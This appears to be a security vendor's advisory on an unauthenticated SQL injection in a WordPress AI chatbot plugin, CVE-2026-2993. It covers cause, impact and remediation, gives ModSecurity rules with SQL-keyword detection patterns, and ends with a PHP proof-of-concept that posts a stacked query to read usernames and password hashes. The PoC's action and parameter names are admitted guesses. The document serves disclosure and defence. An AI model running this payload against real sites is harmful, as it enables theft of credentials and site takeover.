Atomic Edge analysis of CVE-2026-2993 (metadata-based):
This is an unauthenticated SQL injection vulnerability in the AI Chatbot & Workflow Automation by AIWU plugin for WordPress, affecting versions up to and including 1.4.17. The flaw exists in the getListForTbl() function, which fails to properly escape user-supplied parameters and lacks adequate SQL query preparation. This allows an unauthenticated attacker to inject arbitrary SQL commands into existing queries, leading to extraction of sensitive data from the database. The CVSS score of 7.5 (High) reflects the severe confidentiality impact with network-based, low-complexity exploitation without authentication.
The root cause is a classic SQL injection vulnerability classified under CWE-89. The getListForTbl() function likely constructs SQL queries by directly concatenating user-supplied input (such as table names, column names, WHERE clauses, or ORDER BY parameters) without using prepared statements or proper escaping. The description confirms insufficient escaping and lack of preparation on existing SQL queries. While no source code diff is available to confirm the exact vulnerable parameter, Atomic Edge infers that common WordPress SQL injection vectors include unsanitized parameters like ‘table’, ‘where’, ‘order’, ‘limit’, or ‘search’ which are passed to $wpdb->query() or similar methods. The partial mitigation noted (nonce check added in 1.4.11 that only administrators have) suggests this function may be accessible via WordPress AJAX actions or REST endpoints.
Exploitation is straightforward. An unauthenticated attacker sends a crafted HTTP request to a publicly accessible endpoint that calls getListForTbl(). Likely endpoints include WordPress AJAX handlers (admin-ajax.php) or REST API routes exposed by the plugin. The attacker provides specially crafted values in parameters such as ‘table_name’, ‘where_clause’, or ‘limit’ that inject SQL operators like UNION, OR, or comments. For example, an attacker could manipulate an ORDER BY parameter to inject ‘ORDER BY id; SELECT user_login, user_pass FROM wp_users–‘ to extract credentials. The absence of a nonce check (which only administrators can generate) means any unauthenticated user can trigger the function without authorization.
Remediation requires implementing parameterized queries (prepared statements) using $wpdb->prepare() for all user-supplied parameters in getListForTbl(). All inputs should be validated against a whitelist of allowed values, especially for table names and column names. Additionally, capability checks (current_user_can()) should be added to restrict access to administrators only, and nonce verification must be enforced for all AJAX actions invoking this function. The vendor should also ensure that any dynamic SQL construction uses proper escaping functions like esc_sql() as a secondary defense.
The impact is severe. An unauthenticated attacker can extract all data from the WordPress database, including hashed user passwords, user email addresses, secret keys, and potentially sensitive plugin or site options. This data can be used for credential stuffing attacks, account takeover, or further privilege escalation. While the CVSS vector indicates confidentiality impact only (no integrity or availability), compromised user credentials could lead to administrator access via password cracking, enabling full site takeover.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2993 (metadata-based)
# Blocks unauthenticated SQL injection attempts via AJAX actions that call getListForTbl()
# Pairs URI path matching with parameter inspection to prevent false positives
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20262993,phase:2,deny,status:403,msg:'CVE-2026-2993 SQL Injection via AIWU plugin AJAX',severity:'CRITICAL',tag:'CVE-2026-2993',chain"
SecRule ARGS_POST:action "@rx ^aiwu_" "chain"
SecRule ARGS_POST:table "@rx (UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR|AND|;|--|#)" "t:urlDecode,t:lowercase,chain"
SecRule ARGS_POST:order "@rx (UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR|AND|;|--|#)" "t:urlDecode,t:lowercase"
# Alternative rule for REST API endpoints if AJAX rule does not match
SecRule REQUEST_URI "@rx ^/wp-json/ai-copilot-content-generator/v[0-9]+/list"
"id:20262994,phase:2,deny,status:403,msg:'CVE-2026-2993 SQL Injection via AIWU REST API',severity:'CRITICAL',tag:'CVE-2026-2993',chain"
SecRule ARGS:table "@rx (UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR|AND|;|--|#)" "t:urlDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2993 - AI Chatbot & Workflow Automation by AIWU <= 1.4.17 - Unauthenticated SQL Injection
// This PoC exploits SQL injection in the getListForTbl() function via AJAX endpoint.
// Based on the partial patch description, we target an AJAX action that triggers this function.
// The exact action name is inferred from plugin slug patterns: ai-copilot-content-generator
$target_url = 'http://target-site.com'; // Change this to the target WordPress URL
// Step 1: Identify the likely AJAX action (common pattern for this plugin)
$ajax_action = 'aiwu_get_list'; // Hypothetical action - adjust based on plugin's actual handler
// Step 2: Craft a malicious SQL injection payload in a parameter that getListForTbl() uses
// Common vulnerable parameters: table, orderby, where, limit, search
$injection = "wp_posts ORDER BY 1; SELECT user_login, user_pass FROM wp_users-- -";
// Step 3: Build the exploit request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_FAIL_ON_ERROR, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => $ajax_action,
'table' => $injection,
// Nonce is not required since vulnerability allows unauthenticated access
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: AtomicEdge-PoC/1.0'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 4: Output results
echo "HTTP Response Code: " . $http_code . "n";
if ($response) {
echo "Response body:n";
echo $response . "n";
} else {
echo "No response or error.n";
}
// Note: The exact parameter name and AJAX action may differ.
// If the above fails, try alternative parameter names: order, where, limit, search_term
// or alternative AJAX actions: aiwu_list, aiwu_get_table_data, aiwu_admin_getlist, aiwu_process_query